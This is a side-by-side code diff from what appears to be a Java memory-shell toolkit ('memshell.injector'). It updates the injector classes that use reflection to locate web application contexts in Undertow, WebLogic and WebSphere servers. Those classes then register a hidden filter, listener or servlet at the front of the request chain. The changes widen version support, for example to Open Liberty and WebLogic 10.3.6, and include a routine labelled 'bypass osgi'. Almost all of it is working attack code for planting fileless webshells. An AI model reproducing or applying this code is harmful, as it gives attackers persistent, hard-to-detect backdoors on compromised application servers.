msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -191,30 +191,25 @@ public class UndertowListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -44,7 +44,7 @@ public class UndertowServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -213,30 +213,25 @@ public class UndertowServletInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -1,13 +1,17 @@
package com.reajason.javaweb.memshell.injector.weblogic; package com.reajason.javaweb.memshell.injector.weblogic;
import javax.management.MBeanServer;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.management.ManagementFactory;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -40,7 +44,7 @@ public class WebLogicFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -75,93 +79,38 @@ public class WebLogicFilterInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public static Object[] getContextsByMbean() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
theOneMethod.setAccessible(true);
Object serverRuntime = theOneMethod.invoke(null);
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
getApplicationRuntimesMethod.setAccessible(true);
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable ignored) {
}
try {
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
for (Object componentRuntime : childrenSet) {
try {
Object context = getFieldValue(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread != null) {
Object workEntry = getFieldValue(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFieldValue(connectionHandler, "request");
if (request != null) {
context = getFieldValue(request, "context");
}
}
if (context == null) {
context = getFieldValue(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
}
}
return webappContexts.toArray();
}
/** /**
* weblogic.servlet.internal.WebAppServletContext * weblogic.servlet.internal.WebAppServletContext
* /opt/oracle/wls1036/server/lib/weblogic.jar * /opt/oracle/wls1036/server/lib/weblogic.jar
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
*/ */
public static Set<Object> getContext() { public static Set<Object> getContext() throws Exception {
Set<Object> webappContexts = new HashSet<Object>(); Set<Object> webappContexts = new HashSet<Object>();
try { MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
webappContexts.addAll(Arrays.asList(getContextsByMbean())); Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
} catch (Throwable ignored) { for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
String key = entry.getKey();
if (key.contains("Type=WebAppComponentRuntime")) {
Object value = entry.getValue();
Object managedResource = getFieldValue(value, "managedResource");
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
webappContexts.add(getFieldValue(managedResource, "context"));
}
}
} }
try { try {
webappContexts.addAll(Arrays.asList(getContextsByThreads())); Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
} catch (Exception x) {
// WebLogic 10.3.6
request = workEntry;
}
if (request != null) {
webappContexts.add(getFieldValue(request, "context"));
}
} catch (Throwable ignored) { } catch (Throwable ignored) {
} }
return webappContexts; return webappContexts;
@@ -193,20 +142,14 @@ public class WebLogicFilterInjector {
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
for (Object obj : filters.keySet()) {
if (obj.toString().contains(getClassName())) {
return;
}
}
Object filterManager = invokeMethod(context, "getFilterManager", null, null); Object filterManager = invokeMethod(context, "getFilterManager", null, null);
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null); if (((Map) getFieldValue(filterManager, "filters")).containsKey(getClassName())) {
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses"); return;
cachedClasses.put(getClassName(), filter.getClass()); }
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}}); invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList"); List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1); Object curFilterInfo = filterPatternList.remove(filterPatternList.size() - 1);
filterPatternList.add(0, currentMapping); filterPatternList.add(0, curFilterInfo);
} }
@Override @Override
@@ -248,30 +191,25 @@ public class WebLogicFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -1,16 +1,15 @@
package com.reajason.javaweb.memshell.injector.weblogic; package com.reajason.javaweb.memshell.injector.weblogic;
import javax.management.MBeanServer;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Arrays; import java.util.*;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -40,7 +39,7 @@ public class WebLogicListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -75,88 +74,39 @@ public class WebLogicListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
static Object[] getContextsByMbean() throws Throwable {
/**
* weblogic.servlet.internal.WebAppServletContext
* /opt/oracle/wls1036/server/lib/weblogic.jar
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
*/
public static Set<Object> getContext() throws Exception {
Set<Object> webappContexts = new HashSet<Object>(); Set<Object> webappContexts = new HashSet<Object>();
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime"); MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
Method theOneMethod = serverRuntimeClass.getMethod("theOne"); for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
theOneMethod.setAccessible(true); String key = entry.getKey();
Object serverRuntime = theOneMethod.invoke(null); if (key.contains("Type=WebAppComponentRuntime")) {
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); Object value = entry.getValue();
getApplicationRuntimesMethod.setAccessible(true); Object managedResource = getFieldValue(value, "managedResource");
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
int applicationRuntimeSize = Array.getLength(applicationRuntimes); webappContexts.add(getFieldValue(managedResource, "context"));
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable ignored) {
}
try {
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
for (Object componentRuntime : childrenSet) {
try {
Object context = getFieldValue(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread != null) {
Object workEntry = getFieldValue(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFieldValue(connectionHandler, "request");
if (request != null) {
context = getFieldValue(request, "context");
}
}
if (context == null) {
context = getFieldValue(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
} }
} }
} }
return webappContexts.toArray();
}
public static Set<Object> getContext() {
Set<Object> webappContexts = new HashSet<Object>();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable ignored) {
}
try { try {
webappContexts.addAll(Arrays.asList(getContextsByThreads())); Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
} catch (Exception x) {
// WebLogic 10.3.6
request = workEntry;
}
if (request != null) {
webappContexts.add(getFieldValue(request, "context"));
}
} catch (Throwable ignored) { } catch (Throwable ignored) {
} }
return webappContexts; return webappContexts;
@@ -1,10 +1,12 @@
package com.reajason.javaweb.memshell.injector.weblogic; package com.reajason.javaweb.memshell.injector.weblogic;
import javax.management.MBeanServer;
import javax.servlet.Servlet; import javax.servlet.Servlet;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
@@ -45,7 +47,7 @@ public class WebLogicServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -80,88 +82,39 @@ public class WebLogicServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public static Object[] getContextsByMbean() throws Throwable {
/**
* weblogic.servlet.internal.WebAppServletContext
* /opt/oracle/wls1036/server/lib/weblogic.jar
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
*/
public static Set<Object> getContext() throws Exception {
Set<Object> webappContexts = new HashSet<Object>(); Set<Object> webappContexts = new HashSet<Object>();
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime"); MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
Method theOneMethod = serverRuntimeClass.getMethod("theOne"); for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
theOneMethod.setAccessible(true); String key = entry.getKey();
Object serverRuntime = theOneMethod.invoke(null); if (key.contains("Type=WebAppComponentRuntime")) {
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); Object value = entry.getValue();
getApplicationRuntimesMethod.setAccessible(true); Object managedResource = getFieldValue(value, "managedResource");
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
int applicationRuntimeSize = Array.getLength(applicationRuntimes); webappContexts.add(getFieldValue(managedResource, "context"));
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable ignored) {
}
try {
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
for (Object componentRuntime : childrenSet) {
try {
Object context = getFieldValue(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread != null) {
Object workEntry = getFieldValue(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFieldValue(connectionHandler, "request");
if (request != null) {
context = getFieldValue(request, "context");
}
}
if (context == null) {
context = getFieldValue(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
} }
} }
} }
return webappContexts.toArray();
}
public static Set<Object> getContext() {
Set<Object> webappContexts = new HashSet<Object>();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable ignored) {
}
try { try {
webappContexts.addAll(Arrays.asList(getContextsByThreads())); Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
} catch (Exception x) {
// WebLogic 10.3.6
request = workEntry;
}
if (request != null) {
webappContexts.add(getFieldValue(request, "context"));
}
} catch (Throwable ignored) { } catch (Throwable ignored) {
} }
return webappContexts; return webappContexts;
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.websphere; package com.reajason.javaweb.memshell.injector.websphere;
import javax.servlet.Filter;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
@@ -9,14 +8,12 @@ import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.HashSet;
import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* tested v7、v8
* update 2023/07/08
*
* @author ReaJason * @author ReaJason
*/ */
public class WebSphereFilterInjector { public class WebSphereFilterInjector {
@@ -46,7 +43,7 @@ public class WebSphereFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -87,11 +84,32 @@ public class WebSphereFilterInjector {
*/ */
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); Object[] threadLocals = null;
for (Object wsThreadLocal : wsThreadLocals) { boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// for websphere 7.x // for websphere 7.x
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { if (value.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); Object[] stackList = (Object[]) getFieldValue(value, "stack");
for (Object stack : stackList) { for (Object stack : stackList) {
try { try {
Object config = getFieldValue(stack, "config"); Object config = getFieldValue(stack, "config");
@@ -99,8 +117,9 @@ public class WebSphereFilterInjector {
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
} }
} }
return contexts; return contexts;
@@ -132,43 +151,42 @@ public class WebSphereFilterInjector {
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
Object webAppConfiguration = getFieldValue(context, "config"); Object webAppConfig = getFieldValue(context, "config");
if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return; return;
} }
ClassLoader classLoader = context.getClass().getClassLoader(); Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping"); Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig"); Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
Object filterManager = getFieldValue(context, "filterManager"); Object filterManager = getFieldValue(context, "filterManager");
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{getClassName()});
setFieldValue(filterConfig, "name", getClassName());
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
try { try {
// v8 List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass); uriFilterMappingInfos.remove(filterMapping);
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter uriFilterMappingInfos.add(0, filterMapping);
setFieldValue(context, "initialized", false);
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
setFieldValue(context, "initialized", true);
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
} catch (Exception e) { } catch (Exception e) {
// v7 // WebSphere7
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()}); List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()}); Object fmInfo = uriFilterMappings.remove(uriFilterMappings.size() - 1);
setFieldValue(filterConfig, "dispatchMode", new int[]{0}); uriFilterMappings.add(0, fmInfo);
setFieldValue(filterConfig, "name", getClassName());
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
} }
// 清除缓存 // 清除缓存
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null); Object chainCache = getFieldValue(filterManager, "chainCache");
try {
invokeMethod(chainCache, "clear", null, null);
} catch (Exception e) {
invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
}
} }
@Override @Override
@@ -176,6 +194,19 @@ public class WebSphereFilterInjector {
return msg; return msg;
} }
// bypass osgi
public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
if (context.equals(Object.class)) {
throw new ClassNotFoundException(className);
}
ClassLoader loader = context.getClassLoader();
try {
return loader.loadClass(className);
} catch (ClassNotFoundException e) {
return loadClass(context.getSuperclass(), className);
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception { Exception {
@@ -255,13 +286,9 @@ public class WebSphereFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try { Field field = getField(obj, name);
Field field = getField(obj, name); field.setAccessible(true);
field.setAccessible(true); return field.get(obj);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -38,7 +38,7 @@ public class WebSphereListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -75,11 +75,32 @@ public class WebSphereListenerInjector {
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); Object[] threadLocals = null;
